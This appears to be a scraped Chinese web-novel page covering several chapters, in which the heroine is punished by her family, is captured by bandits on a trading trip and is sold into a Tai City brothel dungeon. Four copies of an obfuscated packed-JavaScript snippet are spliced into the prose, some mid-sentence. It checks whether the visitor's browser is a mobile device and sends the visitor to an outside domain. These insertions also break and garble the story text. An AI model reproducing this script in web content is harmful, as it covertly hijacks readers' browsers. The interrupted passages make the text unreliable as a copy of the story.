“我孟家对小辈的出行并没有严厉的限制,况且每月都会给些例银,你若想借外出之由去买飞刀也未尝不可能。”孟二老爷横眉竖眼地瞪着她。 容素波澜不惊:“我与姐姐本就不常出庄园,就算出了庄园也有孟家的马夫送我们出去,若二老爷想查,也可盘问孟家的车夫,问问他们我是否去过铁器铺子。噢,或许二老爷直接去云州的铁器铺转一圈可能会查得更清楚。” “强词夺理!”孟二老爷怒喝,转头看向沉默不语的乔氏,“母亲,你可要为轩儿主张啊!难道轩儿还能污蔑她不成?” “祖母,你不要相信她!”屏风后的孟轩挣扎出声,“孟竹肯定是因为我不小心抓毒蝎子害她中毒才怀恨在心对我下手的······咳咳······她中毒醒来后整个人就变得阴险了,祖母不要放过她!” 林氏也跟着帮腔。 “够了!”乔氏厉喝出声,苍老的手在红木扶手上摩挲,过了好一会儿才缓缓开口:“阿竹去祠堂跪几天吧。” 容素应声答应,心底却在冷笑,看着没打没骂,实际这惩罚可不小呢,跪几天全看二房脸色,跪着有没有饭吃也不好说。 孟云有些迟疑地开口:“祖母,阿竹大病初愈······” “不用说了,下去吧。”乔氏摆了摆手,态度了然。 两人走出堂屋,乔氏身旁的一位嬷嬷跟了出来。 “老夫人说了,让奴婢现在带五小姐过去祠堂。” 孟云脸色一沉:“我与妹妹还未用膳,可否等妹妹用了膳再去?” 那嬷嬷不苟言笑:“三小姐这话要不去同屋里的老夫人讲?” 孟云自知困难,倒也不再言语。 容素不愿她担心:“放心吧姐姐,我撑得住。” 嬷嬷带着容素,一路蜿蜒,来到了一座小院落,院落搭着一座厚重的木屋,雕梁画栋,屋外守着两位仆人。 孟云在屋外不舍地拉住容素的手,一脸担忧:“可别强撑着,你的身子还没完全恢复,姐姐会常常来看你的。” 容素笑着点了点头。 “五小姐快点进去吧。”嬷嬷在一旁提醒。 容素放开了孟云的手,跟在了嬷嬷身后。 嬷嬷推开红木雕花门,沉沉的线香气息蔓延开来,映入眼帘的是供桌上嵌着金字的几行牌位,还有袅袅盘旋的薄烟。桌前还有三个摆放整齐的蒲团。 嬷嬷开口:“五小姐便好生在这里待着吧。” 容素应下,见她还不走,心下了然,主动跪在了蒲团上。 嬷嬷这才满意:“还望五小姐安分些,时辰一到,自会有下人来送饭。” “知道了。” 嬷嬷一走,容素便站起身,她寻了个开阔处,开始活动筋骨。 这几日她发现孟竹的身体有些虚弱,四肢也比较软。因此尽管她想施展自己所会的功夫,却也会受到孟竹身体状况的限制,原先的实力发挥不到五成,因此这几日她倒是在想法子躲开其他人,偷偷强身健体。此番被罚跪祠堂,其实也并非全是弊处,她至少可以不必费尽心思躲着人了。 日渐西移,夜色很快便渲染了天暮。紧闭的朱门终于被打开,一位脸生的丫鬟提着食盒走了进来。 “五小姐请用膳,奴婢先告退了。”丫鬟态度敷衍,匆匆放下食盒便走了。 容素饥肠辘辘,这一天只有刚刚丫鬟来送了这一次饭,期间孟云也来过,不过被拦在了门外,一天未进食,她不由得有些头晕目眩。 只是打开食盒,里面却仅有一碗稀粥,上面结了一层的粥油,居然连碟菜也不愿给她。 容素无奈,端起那碗白粥,囫囵咽下肚,好在她以前走江湖执行任务遇险时,也过过不少苦日子,吃碗凉粥她倒是能接受。 * 容素被这一关就是八天,想来二房那边是要狠力地折磨她。这几天也不让任何人探望,吃的也是一天比一天难以下咽,起初是稀粥,后面是发烂的菜叶子,还有一天送的居然是泔水。 这几天下去,纵然容素再坚强,却也不由得脸色发白,身体发虚。 第九天清晨,她身体十分疲乏,跪坐在蒲团上一动不动,打算省着点精力。 “吱呀——” 身后大门被推开,晨光照亮了大半个屋子。 容素有些惊讶,毕竟过去几日都是晚上才会有人过来送饭,今日居然不同了。不过她懒得回头,依旧跪坐着。 “阿竹!” 孟云熟悉的声音响起,容素猛地睁眼,回身看去。 意外的是,来的不仅有孟云,居然还有大哥孟亭。 两人急急跑到她身边,蹲身扶着她有些摇晃的身子。 孟云多日未见妹妹,见她脸庞明显消瘦,面色也十分苍白,不由得红了眼眶:“阿竹,你受苦了,是姐姐没有,没能在祖母面前为你求情。” 容素安慰一笑:“姐姐何苦说这些话,”说着,想起了什么,看向面前二人,“大哥、姐姐,你们怎么突然能来看我了?可是祖母允许我离开这里了?” 孟亭点点头:“我同祖母说要去和岭州的商帮谈生意,想带着你一起去。” 容素不解:“为何祖母会同意?” 孟云解释:“你可别忘了,爹娘以前是一直经营着孟家和岭州商帮之间的生意往来。这些年孟家岭州商帮商贸来往一直在减少,祖母想着你是爸妈的女儿,跟着大哥去会会岭州商帮,或许会有意外的收获。” 容素了然,她真诚地向孟亭道了声谢:“多谢大哥,大哥费心了!” 孟亭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189868|181089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和煦一笑:“你我之间何必这么客气。” 容素在他们的搀扶下回到了芙蓉院,进了堂屋,海棠端来了一些吃食,容素顿觉犹如枯树遇水,赶紧拿起竹箸吃了起来。 孟云见她这个样子,不由得又心疼起来:“你这些日子真是受苦了。” 一旁的孟亭开口:“阿竹,我们明日就得出发了,你可吃得消?” 容素咽下一片鸡肉,点了点头:“大哥放心,我定不会拖你后腿。” “你此番前去免不了抛头露面,到时候怕是会惹来不小非议,这对你终究影响不小,你切莫过于在意他人的看法。”孟云无奈浅叹。 容素笑了笑:“姐姐不必担心,我不会理会那些闲言碎语的。” 三人闲谈了一会,孟亭向容素交代了些出发时需要留意的事,便告辞离开。 * 孟云打发海棠去收拾行李,随后引着容素来到竹楼后的一间小阁楼,竹楼后方有一处地势陡然凸起的地方,阁楼就建在上方,底部也没有用木材搭建成架空状。 孟云拿出钥匙打开了挂在门栓上的铜锁。屋里堆着密密麻麻的木箱,还有一排排架子,有的放着书籍竹简,有的摆着陈旧的物什。 孟云走到一个大木箱前,拨起袖子想要挪开它,容素见状连忙上前去帮忙,很快便把箱子挪开了。 孟云抬脚踩在箱子原先覆盖的木地板上,神奇的是,那块地板忽然缓缓向西移开,露出下方别有洞天的小窟,洞窟不大不小,放着一个镶珠嵌玉的木匣子。 容素有些意外:“这是什么?” 孟云弯腰将其拿出,递到容素手中:“你估计忘了,这是父亲母亲留给我们的。” 容素拨开匣子机关,打开,里面装着厚厚的册子和契约文书,似乎还有票银。 “这些是一些账册和银子,还有一些铺房卖契,当时父亲他们走后,帮父亲打理账册的伯叔并没有将这些给祖母,而是私下给我们两姐妹分了,说留作以后的嫁妆,不过我想你应该忘记了。此次你同大哥去岭州不妨把这些带上,里面应该有父亲他们当年与岭州商帮做生意的记录,或许对你有些帮助,你若有心打理,想必可以经营起一番小事业,这样也慢慢有了立身之本,以后离开孟家生活也未尝不可。若是觉得棘手便算了,留着这些资产,以后出嫁了也好可以傍身。”孟云想得长远又周全,容素内心不由得泛起阵阵暖意。 * 是夜,容素吹灭屋中的烛火,黑寂填满了整间屋子,容素躺在竹床上,望着窗外层层青翠,思绪不由得飘远。 此次外出经商是个不错的机会,加上孟竹父母留下的资产,或许她可以就此开拓一方势力,借此将手伸向京城也未尝没机会,只是应该如何起步呢? 还有关于当年容家的灭门真相……说来可笑,世人都说璇玑阁无所不能,纵是朝堂秘闻、稀世珍宝,也能帮委托人得到。可她身在璇玑阁多年,却连家族的灭门真相都毫无眉目…… 容素拧眉,思索良久,竟一夜难眠。 5. 第五章 次日清晨,日光穿过云雾,唤醒寂静的孟氏庄园。 容素起身梳洗了一番,与孟云一同用了早膳。孟云对她有万般不舍与浓浓担忧,拉着她又叮嘱了好一会。 容素费了不少口舌才将她安抚好,随后在孟亭派来的小厮的引领下走过幽深的小路,来到了庄园西墙的一个侧门。 侧门前停放了数十量规格不尽相同的马车,有的是为了装载货物,装饰相对普通,前前后后都有不少身着粗麻短衫的护卫看护。 “五小姐。”迎面走上来一位中年男子,面色和善。 “陈叔好。”一旁的小厮开口。 原来是孟亭身边一位重要的管事,曾经也在孟竹的父亲身边待过,容素昨日刚听孟云提起过,便也出声回应。 “五小姐第一次跟我们商队走远路,若有需要帮忙的尽管向在下提起。” 容素莞尔,随后继续往前走,跟着小厮来到一驾有着玄漆鎏金纹车厢的马车外,小厮出声示意:“五小姐,这是大少爷为你安排的马车,请上车吧。” 容素点头,踩上了硬木车梯,弓身掀帘,却见孟亭也在车厢里端坐,手执书卷。 见她来了,孟亭招呼她坐下:“我寻思着你第一次出远门,担心你一个人坐马车不习惯,便自作主张把你和我安排到一辆马车了,还望你给我这个哥哥几分薄面。” 容素笑到:“哥哥真是有心了,我感谢还来不及呢。” * 云州与岭州之间隔着此起彼伏的山,这里终年炎热,时时急雨,为这片山域覆盖上肆意的绿意。窄窄的山路上,两旁尽是望不到顶的绿山,四周的灌木蓬勃蔓发。 一行人自孟氏庄园出发已经快半月的时间了,他们走走停停,却似乎依旧没走出这片连绵的山域。 容素拨开窗帷朝外望去,入目依旧是无尽的青翠与蜿蜒的泥路。 “我们孟家这几年来未曾踏足岭州,向导和车夫们想必也生疏了不少,怕是要再过十来日才能到岭州。”孟亭开口。 容素放下了帷幔:“几日前听哥哥讲过从前父辈们去岭州不过半月路程,山路难走,会不会是走错了?” 孟亭一愣,若有所思。 “待我去问问······” 孟亭话未说完,马车倏忽急停,两人因此猛地向前倒去,还好都及时抓紧了两侧的扶手才没摔着。 “怎么回事?”孟亭皱眉,一把掀开车帘,容素也跟着往外看去。 车队最前方,似乎出现了数十个彪形大汉,手持大刀,喊声嘹亮:“留下钱财,饶尔不死!” “是遇到山寇了?”容素问。 “应该是,你先回车厢去,别害怕,这是常有的事,我们的这些护卫也不是吃素的。” 容素点头:“大哥你也要多加注意。”,说罢她缩回身子,等孟亭下了马车,又悄悄拨开帘子的一角偷偷观察。 孟亭快步走到前面刚下马的陈叔身边,不知交代了什么。 随后陈叔走到那群山寇面前:“我们做的都是小本生意,没什么值钱玩意,最重要的只有这条命了,各位爷想拿什么就拿,还望不要伤及我们几位的性命。” 为首的一位山寇冷哼一身,警告车队的护卫不要动,随后招呼手下开始搜拿值钱的东西。 趁山寇在搜寻时,孟亭迅速朝陈叔使了个眼色,陈叔会意,随即大喊:“拿下他们!” 本来被山寇逼退到一旁的护卫闻言,纷纷出手,三两下解决看守的两位山寇,亮出袖中短匕,朝山寇击去,山寇们急忙抬刀应战,大概是没想到这群看似养尊处优的贵族护卫居然身手不凡,一时间居然僵持不下。 就在容素松了一口气的时候,却见左侧山中射出如雨般的箭矢,不辨敌我地往两方势力招呼。 陈叔眼疾手快拉着孟亭躲到一架马车下。 容素心惊,连忙缩回身子,紧紧地贴着厢壁。 左侧山中那伙人显然不止这点手段,一阵轰隆声响起,地动山摇,有巨石纷纷滚落,将下方的人和车马砸得七零八落。 感受到车厢受到巨大的撞击,容素不管三七二十一,一把跃出车厢,滚落到地上,原来的那驾马车已被砸翻,马儿倒地,用力地挣扎着。 巨石停止掉落,容素望去,山寇与侍从几乎都倒下了,孟亭和陈叔也不知躲在哪里。 她理了理身上的泥泞,弓着腰起身欲寻找孟亭。 “别动!”冰冷的长剑冷不丁地架上了她的脖颈,她猛地停住脚步。 随后,身后传来窸窸窣窣的踏草身,数十人从她身后涌上前去查看倒地的人的情况。 一位皮肤黝黑,面带刀疤的大汉走到她身边,上下打量了她一眼,乐道:“这位小娘子长得倒是标致,若是带回去献给寨主,想必能记上一功!”说着对着挟持容素的男子叮嘱道,“把人看牢了!” “是。” 大锤山寇此时已经推开压在身山的碎石,举起大锤指着刀疤大喊,怒喝:“刀疤狼你这般卑鄙小人!竟然偷袭我!” 刀疤狼笑得一脸得意与奸诈:“这招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189869|181089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫‘螳螂捕蝉,黄雀在后’,你若现在赶紧滚,我倒还可留你们一条性命,若是与我想抢这块肥肉,可就别怪我手下不留情了!” 大锤山寇心中不甘,却也知留得青山在,不怕没柴烧,于是招呼还能起身的兄弟,一溜烟钻进灌木丛里消失了。 刀疤狼心情愉悦,把手下草草分为两拨人,一部分去把护卫绑住,剩下的跟着他去搜刮商队中有价值的东西。 容素用余光打量着挟持他的人,那人尖嘴猴腮,除了手上的长剑,腰上还别有一把匕首。方才容素的手被绑上了,现下反抗也没有必胜的把握,于是寻思着能否从对方身上了解有用的消息。 她试探着开口:“这位大侠,方才听到那位好汉说到的寨主是何人?” 那人瞪了她一眼:“不该问的别问!” “这位大侠,我身上有一块紫水血玉,此玉价值连城,是我家长辈送予我的礼物,若我把他赠给大侠,大侠可否放我一马?” 那人眼里闪过贪婪的神色,但随后又说:“那可不能!若是放你走我待会可如何向二当家交代!” 容素不依不饶:“那你看这样如何?你可以在回去的路上再悄悄放我走,然后把责任再推卸给别人。你想,你此番回去怕也是分不了多少金银财宝,不如成全我,换得一块价值连城的美玉,岂不是更好?” 那人明显动摇了,他看了看容素,随后抬起另一只手便要搜身:“那你得先把玉交出来!” 容素微微躲闪:“可否让我自己来?” 那人有些犹豫。 “大侠武功高强,害怕我能在你面前逃了不成?” 那人冷笑:“无妨,你一介弱女子,想必也逃不了。” 说着挥刀砍断了容素手上的绳子。 容素动了动有些僵硬的手腕,在对方的催促下慢吞吞地在腰间摸索,随后掏出一个锦囊,一把递给了对方。 那人眼睛一亮,一把接过锦囊就要打开。 容素趁他注意力不在自己身上,迅速出手夺过他腰间的匕首,一边抬脚往他身下踢去,一边抬刀抹过他的喉咙。 那人急急闪身却已经来不及,脖间喷出了鲜血。 容素转身,灵活地朝灌木丛中遁去。 “二当家!那女人……跑……跑了!”那人倒下时,用尽最后一口力气提醒刀疤狼。 刀疤狼转头却只看见容素没入灌木丛的背影。 “你们两个,跟我一起去追!”刀疤狼随手叫了两位手下,疾步往容素离开的方向追去。 6. 第六章 身后箭弩来势汹汹,直朝着她的腿部打去,容素不敢喘息,只得拼命奔逃,不消多时,便觉有些力不从心。 咻地一声,一道箭矢擦着她的小腿飞过,她脚下一绊,措不及防地摔了下去。 她手撑着地想快速起身,背上被猛地往下踩,限制了她的动作。 ”能耐不小啊,还想跑!“刀疤狼一脸稀奇,随后招呼手下上前捆住她,又觉得不够,还掏出抹了迷药的粗布,直接往容素脸上招呼。 尽管容素用力屏住呼吸,却还是吸了些迷药进去,药性猛烈,当下便晕了过去。 * 再次醒来,是在一个摇晃的破旧马车厢中。 容素双眼朦胧,她抬眼张望,眼前是紧闭的厢门,门的木板缝隙中透出几丝光。 容素挣扎着,却发现双手被紧紧捆在身前的扶手上,腰上也用绳子和身侧的木板牢牢地绑在一起,这让她坐在地上难以动弹。 容素用力动了动手,想试试这绳子绑得有多牢固,身后冷不丁传来一个陌生的声音:“省着点力气吧,逃不出去的。” 容素闻声,转头望去,却见身后昏暗的车厢角落里绑着一个男人,双手似乎被绑在身后,发丝凌乱,看起来十分狼狈。 “你是何人?”容素问。 那人不答反问:“你又是哪家小姐?” 容素懒得搭理他,寻思着试图自救。 她用力将跪坐在身下的右腿往前挪,尽量往手边靠,双手努力摸向鞋子,一阵摸索,掏出了一片袖珍刀刃。 随后操作着刀刃,耐心的割着手腕处的绳子。 好在功夫不负有心人,约摸磨了一炷香的时间终于把手上的绳子割开了。容素长舒了一口气,甩了甩有些麻木的手。 “姑娘既然已经脱身,可否帮我也松绑松绑!”身后传来了期盼又激动的声音。 容素回头瞪了他一眼:“你低声些!” 那人似乎也想到什么,赶紧闭嘴。 容素割断了腰上的绳子,身体终于自由了些,她稍微活动了一下。 “还望姑娘帮我解开绳子,在下必有重谢!”那人这次压低了声音,依旧不依不饶的求助。 容素瞥了他一眼,慢慢挪到了他身边,距离拉近,她这才看清了对方的样子,清俊的面容上蹭了些脏污血迹,脖子上也伤痕累累,黑衣斑驳,看着有些落魄和狼狈。 容素倒是不急着帮他解开绳子,而是开口询问:“你是何人?为何会被抓进来?” 容素不愿带着一个不知是敌是友的人一起行动,故而有此问。 那人犹犹豫豫,似是不愿开口。 容素嘲笑了一声:“那你就好好在这待着吧。”说罢作势要转身。 “等等!”那人赶紧叫住她,随后像是下定决心般压低声音开口,“告诉你也无妨,在下名唤徐遥之,家父本是在朝廷做官的,奈何一朝朝政动荡,全家被扣上谋逆罪名,家父拼尽全力送我南下,好不容易到了岭州地界却遭暗算被山匪抓住,想必是家父政敌要赶尽杀绝。方才多有推辞,并非有意隐瞒。” 容素若有所思,面前之人所讲之事不似作假,想必也并非全是真心话,不过没想到萧启才回到京城不过几月,京城便有风浪掀起。 她一边思索,一边给徐遥之松绑。 “姑娘大恩大德在下感激不尽,敢问姑娘芳名?” 容素随口胡诌:“我叫孟素。” 将他身上的绳子都解开后,容素便要往车门边去。挪动间,脚上传来一阵钝痛,她皱了皱眉,低头掀开衣裾,裹着小腿处的布料已经鲜红一片,隐约还可见干涸发黑的血迹,她记得她昏迷前中了一箭,没有机会及时处理,如今这么一通折腾,扯到了伤口,这样下去怕是会恶化。 “姑娘受伤了?”血淋淋的伤口出现在眼前,徐遥之有点被震撼到了。 容素点点头,“是一道箭伤。”说着,她抓起衣摆,打算撕一些布条来包扎伤口。 “等等!”徐遥之连忙拉住她,“你是女子,衣裳还是要保持得体一些。” 说着,迅速从自己衣袍上撕下一大块布,又分别撕成几块,说:“你用我的吧。” “那就多谢了。”容素到是无所谓得不得体,毕竟都被抓了,还在意那么多作甚。 徐遥之在袖中摸索了一会,随后掏出一个小瓷瓶,递给容素:“这是我一直随身携带的药品,每次受重伤都会服下一颗,见效甚快。我不懂医理,不过这药应该多少会有些止血效果,姑娘不如把里面的药丸碾碎了敷在伤口处,想必会对伤口的恢复有帮助。” 容素眨了眨眼:“这药你既随身携带,想必也是遇险时的救命之药,我中怎好用它?” 徐遥之笑了笑:“姑娘你是个好人,还帮我解开了绳子,这就当我对姑娘的回报吧。再说了,姑娘是个练家子,伤口会影响你的行动,我还指望姑娘快点好起来带着我逃跑了。” 容素见他是给磊落之人,倒也不再推辞,再次道谢后,赶忙将伤口包扎好。 弄完后,她继续往车厢门靠近,小心翼翼地要推开,使了使力,门却丝毫未动。 “这门应该被锁住了。”徐遥之开口。 容素蹙眉,她问:“方才我醒来时见你没有昏迷,你可知我们现在是什么处境?” 徐遥之忧心忡忡:“我被绑上马车时,听那群土匪说要把我们带去岭州泰城卖了换银子。” 泰城在岭州西南部,是南洋外邦来大夏的必经之地,岭州远离京城,泰城又在岭州边陲,皇家的权力的大手难以触及,因此此地虽因为外邦贸易往来而繁荣富裕,却也因此鱼龙混杂,各种势力错综盘旋。而人牙子也最喜欢做这里的生意,拐卖各色人口,或有不足月的婴儿,或有年轻貌美的女子,或是身强力壮的男子,一旦落入此处,便如羊入虎口难以脱身,纵有千金万两,要赎人也十分困难。 泰城的繁华与危险容素也曾听闻过,她清楚地记得,璇玑阁曾接过一桩交易,买主对方想要璇玑阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189870|181089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去泰城救下自己的孩子,当时萧启派了璇玑阁三位高手前去,那三位的武功与容素不相上下,最后虽成功救下那人的小孩,三人却也出乎意料地负伤累累,那次几乎是璇玑阁建阁以来最大的损失了。 “泰城危险万分,这一去怕是凶多吉少了。”容素面色凝重。 “不如趁还未到泰城,劫下马车离开。”徐遥之提议,“在下会些功夫,我们奋力一搏,或许能博出一条生路。” 容素有些迟疑:“我仔细听了听马蹄声,声音厚重凌乱,想来这队人马人数不少,我们强行破门劫车,胜算也不大。” 容素虽这么说,却也不愿坐以待毙,与徐遥之又商量了一番,便合力准备将车厢门推开。 就在门有些松动之际,马车停了下来,两人重重朝车厢壁撞了上去。 徐遥之面色一变:“这是到泰城了吗?” 容素皱眉:“这才走了多久?约摸也就一天时间,能从岭州州际走到泰城?” 徐遥之盯着她,淡淡地说:“其实已经走了三天了,你晕了挺久的,况且是从岭州西边一路走来,山路不多,这时间······应该也差不多了。” 容素无言。 两人顺着扒开的门缝往外看,前方高大的城门迎着日光,清楚可见上头刻着的两个字“泰城”。 坏了,真到泰城了。 “这可如何是好!”徐遥之手握成拳,一把砸在厢壁上。 “我们都有武功傍身,寻机逃出也不是没有机会,不必早早就气馁。” 说着,容素提议把绳子绑回去,以免下车被发现异常,不过把绳子绑成了一个活结,自己一拉就能松开。 * 马车进城,又行了一会,四周嘈杂的声音逐渐消失。 一整开锁声响起,车厢“唰”地一声被拉开,刺眼的日光照了进来,容素不由得眯了眯眼。 车下站着一位贼眉鼠眼的男子,他跳上马车,先后为两人割开了绑在木板上的绳子,随后把两人赶下了车。 下了马车,容素大量了周围的环境,这是一个宽敞的庭院,门口出对着十数量马车,马车上被刚下来许多人,有年轻女子、有稚嫩的小孩,也有青年男子。几位穿着灰色短衫的男人拿着马鞭把他们这些人赶到一处,将他们用铁链将手脚一一上锁,稍有不从,便挥鞭大骂。 随后不知从何处走来一位上了年纪、大腹便便的老头,他粗略地清点了一下人数,随后便吩咐手下把人分一分。 容素被分到女子群中,徐遥之见她要走,忙到:“孟素姑娘!若你能逃出,可否搭救我一把?若我能逃出来,我也会去救你的!” 容素愣了愣,还是点了点头:“保重。” 随后来了两位护院领头,领着容素所在的队伍出了庭院,七拐八绕,来到了一间破败的柴房,柴房虽旧,却见领头一顿操作,地上被打开了一个入口,领头将她们往下赶,走下一段窄窄的石阶,前方变得开阔,原来这里居然建着一座地牢。 7. 第七章 昏暗的地牢一眼望不到尽头,通道两侧是大大小小的囚屋,里面关着许多女子。 两位护院领头一前一后,一位在前面领路,一位拿着鞭子在赶着容素一行人往前走。 前方的领头的在一间空的囚房前停下,拿出腰间的钥匙,将囚门打开:“你们赶紧进去!” 队伍里的这些女子几乎都是被坑蒙拐骗来的,见着昏暗肮脏的囚屋,都不愿进去,很快,队伍里又传来凄惨的哭啼声。 “吵什么吵!”后面那个领头不乐意了,抬起鞭子朝着人群狠狠地抽去,向赶羊般把她们连赶带推地弄进囚屋里,随即将木门重重合上,无情地落锁。 有人还不死心,死死的扒着木门,哭求道:“放我走吧,我家中甚是富裕,可以拿很多很多银子给你们,求求你们放我出去吧!” 两位领头不屑地看了她一眼,其中一位还抬脚碾了碾她抓着木门的手,冷笑道:“进了我们醉乐楼可就出不去了!你们还是想想怎么讨贵客欢心吧?说不定被哪个达官贵人看上了,还能跟着享乐呢!” 说话间,一阵车轱辘声由远及近。 一辆容素抬头朝外看去,过道进来的方向,两位杂役推着一辆板车,车板上不知堆叠着什么,远远看去像一座小山丘。 杂役后面还跟着一位也作领头打扮的男人,表情尽显嫌弃。 “啧,又弄死了这么多?” “可不是嘛,那些大财主可真会玩,折磨人可真有一手,这里有几个好像还没断气,到时候送去治治,还能当奴婢卖了。” “每天都弄死这么多,处理起来真是麻烦!” 三位领头碰了面倒是聊了了起来,这话听得囚屋里的人心里发毛。 两个杂役在领头的指使下见板车停在隔壁囚屋门前。将板车上堆着的人一个个丢到囚屋里。 一个个被丢下的女子身上伤痕累累,衣衫凌乱,凝固的面孔上带着不忍直视的痛苦。 容素呼吸一滞,不敢想象这些女子都遭受过多少非人的折磨,她转过头,心头像是被针扎了般难受。如果逃不出去,自己的下场会不会也是这样? 三位领头将囚门的锁又检查了一遍,方安心地离去。 * 囚屋里是断断续续的哭啼声,有人不死心地提议:“我们一起逃吧,我不想成为他们赚钱的工具,去过着生不如死的生活!” 有人泼冷水:“这里和官府的牢房都没什么区别,如何逃得出去?” 旁边的囚屋也有人开口了:“逃出去被被抓回来可就更生不如死了,前不久有一个女子也想要逃跑,结果给抓回来了,直接送去人兽台,被咬得面目全非了都。” 这话吓得其他人大惊失色,有人问:“什么是人兽台?” “新来的吧?人兽台是醉乐楼一个招牌项目,将被他们抓来的人和野兽置于人兽台供客人观看,客人还可以为自己认为会胜的一方下赌注。醉乐楼赚这些人血钱,早晚会遭报应的!” “那我们也会被送去人兽台吗?” “醉乐楼有东楼和西楼,东楼九层,以宴客为主,西楼有十五层,那里才是真的可怕。人兽台建在西楼的第一次,看台就有五层之高,不过人兽台的“人”一般是抓那些男人上去的。顶层据说是售卖小孩的。剩下其他几层几乎无异于青楼,我们这些被拐骗过来的女子肯定是被先送去另外几楼接客。” 此话一出,原本已经减弱的哭声又渐渐大声起来了。 有人愤恨不甘:“醉乐楼如此视人命如草芥,还有没有王法了!” 一声轻笑飘来:“在泰城,哪里还有什么王法,官商勾结,逃跑了那些官兵可是会帮忙抓回来的!” 这些话听得容素后背发凉,她以前一直不甘,为何自己短短十多年来饱受了这么多磨难,举家被灭,又被自己长久以来视为的恩人害死,如今她才发现,这片土地上有太多的人生活在毫无曙光的黑暗中,他们的痛苦,自己只是想一想,就已经遍体生寒。 * 不知又过了多久,久到墙壁的油灯都有些发暗了。 这片寂静昏暗的地牢中,门口处忽然传来了脚步声。 “宋管事这边走!” 脚步声由远及近,三个身影渐渐出现在众人的视线中。只见方才押送她们的两位领头换上了一副谄媚的嘴脸,拥簇着一位穿金带银踱步走来的管事。 宋管事满脸横肉,他扫了眼四周的囚屋,问:“今日又进了多少人?” 领头连忙回到:“回管事的,统共有三十二位女子呢,都在这里了!”说着,指了指容素那间囚屋。 管事走向囚屋,领头识相地掏钥匙帮忙打开门。 他一进来,便有人抓着他的袖子,乞求能放自己一条生路。 管事一脸不耐烦地踢开她,眼光在人群中留连,随后点点头:“相貌倒是都不错。”朝领头命令道,“把这些全都带走,清洗一下送去点朱台。” “是!” * 容素一行人被带出地牢,穿过庭院,来到了一间宽阔的屋子。屋子里有不少衣柜和梳妆台,几位婆子忙忙碌碌地走来走去,前方还有有一个大浴池,浴池上方水雾迷茫,香气萦绕。 “又送人过来了?”婆子们见到管家,自觉地停下手头的动作,其中一位穿着比较显眼的婆子咧开嘴迎了上去。 宋管事吩咐:“陈婆子,把她们清洗完,晚上送到点朱台去。” “好嘞,宋管事您慢走!” 陈婆子笑着目送管事离开,随后立马收起笑意,用审视的目光打量面前三十余位年轻漂亮的女子,没好气地说:“都跟过来,动作麻利点!” 浴婆们没有将她们手脚的细镣铐给卸掉,而是直接粗暴地将她们推进铺满花瓣的池子,扒下她们的衣服,用力地擦拭着。沐浴完,给她们换上了清一色的月白薄衫,单薄的腰身处系着暗红的绦带。 容素看着身上修长松垮的衣裳,不由得皱了皱眉。 * 月上柳梢,黑夜拉开了序幕。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189871|181089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在陈婆子的带领下,容素终于见到了那座别人口中罪恶的醉乐楼。 一高一低的华楼矗立在夜色中,朱墙碧瓦,流光溢彩,精致的飞檐下是一排排倒映烛火的轩窗,华丽无比。 陈婆子带着她们来到高楼下一个隐秘的小门,门口有两个带刀的侍卫把守,陈婆子跟他们说了些什么,随后两个侍卫便让到一旁,陈婆子推开门,带着她们走了进去。 容素暗暗地留意周围的环境,进门后是一条往上延伸的乌木长梯,醉乐楼西楼极大,这里想必只是下人通行的一条路。 容素暗暗数着走过的层数,数到第七时,陈婆子没有再往上走而是拐了个弯进入一条长长的窄道,直走到尽头又是一扇厚重的木门。 陈婆子径直将门推开,昏黄的光亮照了过来,一股脂粉香气混合着怪异的血腥的味道也随着飘来。 容素抬头看去,门的外面是一个巨大的园圈形走廊,围着鎏金阑干,中部应该是空的,直通楼下,不过因为铺上了纱幔,所以看不到楼下的场景,往楼上望去亦是如此。 走廊十分宽阔,约莫可容十个人并行,一侧是栏杆,一侧是数不清的精致小巧的雅间。 容素目光游走,很快便看到前方的走廊做了往里拓宽挖空的设计,筑起台基,台上放着一个高大的金笼子,见状,她不由得眸色一沉。 果然陈婆刚带着她们走到笼子旁边,便有下人过来将笼子打开,一道熟悉的声音响起:“都赶紧进去!。” 